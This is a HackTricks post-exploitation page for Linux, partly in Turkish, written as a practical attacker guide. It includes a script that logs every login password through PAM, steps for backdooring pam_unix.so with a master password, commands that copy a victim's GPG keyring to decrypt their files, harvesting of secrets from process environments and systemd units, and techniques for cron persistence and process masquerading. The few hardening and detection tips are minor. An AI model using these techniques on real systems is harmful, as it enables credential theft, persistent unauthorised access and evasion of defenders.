Linux Post-Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Sniffing Logon Passwords with PAM

Let’s configure a PAM module to log each password each user uses to login. If you don’t know what is PAM check:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.

Capturing Credentials:

  • toomanysecrets.sh adlı bir bash scripti, tarih, kullanıcı adı ($PAM_USER), parola (stdin aracılığıyla) ve uzak host IP’sini ($PAM_RHOST) /var/log/toomanysecrets.log içine kaydederek giriş denemelerini loglamak için hazırlanır.
  • Script çalıştırılabilir hale getirilir ve pam_exec.so modülü kullanılarak sessiz çalıştırma ve kimlik doğrulama token’ını script’e açığa çıkarma seçenekleriyle PAM konfigürasyonu (common-auth) içine entegre edilir.
  • Bu yaklaşım, ele geçirilmiş bir Linux hostunun kimlik bilgilerini gizlice kaydetmek için nasıl kullanılabileceğini gösterir.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. This is just a summary:

Pluggable Authentication Module (PAM) Linux’ta kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: username, password, and service. Her service için yapılandırma dosyaları /etc/pam.d/ dizininde bulunur; kimlik doğrulamayı shared libraries yönetir.

Objective: Gerçek kullanıcı password’ünü atlayarak belirli bir password ile kimlik doğrulamasına izin verecek şekilde PAM’i değiştirmek. Bu özellikle common-auth dosyası tarafından kullanılan pam_unix.so shared library’sine odaklanır; bu dosya neredeyse tüm servislerde password doğrulama için include edilmiştir.

pam_unix.so’u Değiştirmek İçin Adımlar:

  1. common-auth dosyasındaki kimlik doğrulama yönergesini bulun:
  • Bir kullanıcının password’ünü kontrol etmekten sorumlu satır pam_unix.so’yu çağırır.
  1. Kaynak Kodu Değiştirin:
  • pam_unix_auth.c kaynak dosyasına, önceden tanımlı bir password kullanıldığında erişim veren, aksi halde normal kimlik doğrulama sürecine devam eden bir koşul ifadesi ekleyin.
  1. Yeniden Derleyin ve Değiştirin:
  • Değiştirilmiş pam_unix.so kütüphanesini uygun dizine yeniden derleyip yerleştirin.
  1. Test:
  • Önceden tanımlı password ile login, ssh, sudo, su, screensaver gibi çeşitli servislerde erişim verilirken, normal kimlik doğrulama süreçleri etkilenmez.

Tip

Bu işlemi otomatikleştirmek için https://github.com/zephrax/linux-pam-backdoor

homedir relocation yoluyla GPG loot’unu decrypt etme

Eğer şifrelenmiş bir .gpg dosyası ve bir kullanıcının ~/.gnupg klasörünü (pubring, private-keys, trustdb) bulduysanız fakat GnuPG homedir izinleri/kilitleri nedeniyle decrypt edemiyorsanız, keyring’i yazılabilir bir konuma kopyalayın ve bunu GPG home olarak kullanın.

Bunu yapmadan karşılaşacağınız tipik hatalar: “unsafe ownership on homedir”, “failed to create temporary file”, veya “decryption failed: No secret key” (çünkü GPG orijinal homedir’i okuyup/yazamıyor).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Eğer gizli anahtar materyali private-keys-v1.d içinde mevcutsa, GPG passphrase sormadan kilidi açıp decrypt eder (anahtar korunuyorsa prompt gösterir).

Süreç ortamından kimlik bilgilerini toplama (containers included)

When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.

Quick wins

  • Dump your current process env: env or printenv
  • Dump another process env: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
  • Add strings -z /proc/<PID>/environ if tr/sed aren’t handy
  • In containers, also check PID 1: tr '\0' '\n' </proc/1/environ

What to look for

  • App secrets and admin creds (for example, Grafana sets GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD)
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • Proxy and TLS overrides: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

Notes

  • Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
  • In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.

Systemd-stored credentials in unit files (Environment=)

Systemd tarafından başlatılan hizmetler, unit dosyalarına Environment= girdileri olarak kimlik bilgilerini dahil edebilir. Bunları listeleyin ve çıkarın:

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.

Sertleştirme

  • Move secrets to dedicated secret stores (systemd-ask-password, EnvironmentFile with locked perms, or external secret managers)
  • Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
  • Rotate leaked passwords discovered during tests

Cron-based persistence with loopback mutex

  • Copy implants into multiple writable paths (/tmp, /var/tmp, /dev/shm, /run/lock) and install cron entries such as */5 * * * * /tmp/<bin> so they respawn even if removed elsewhere.
  • Enforce single-instance execution by binding a fixed loopback port (for example, 127.0.0.1:51125 or 127.0.0.1:52225) and exiting if bind() fails; ss -lntp | grep -E '51125|52225' will reveal the mutex listener.
  • Operators may periodically mass-kill any process whose cmdline contains the dropper name (e.g., init_stop), so reusing those names during analysis can collide; pick unique filenames.

Process masquerading via prctl + argv overwrite

  • Set the short process name with prctl(PR_SET_NAME, "<label>") (15-byte comm limit), commonly to init, so /proc/<pid>/status and GUIs show a benign label.
  • Overwrite the in-memory argv[0] buffer after reading /proc/self/cmdline length and the argv[0] pointer, padding with NULs so /proc/<pid>/cmdline and ps also show the fake label.
  • Hunt by comparing Name: in /proc/<pid>/status against the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin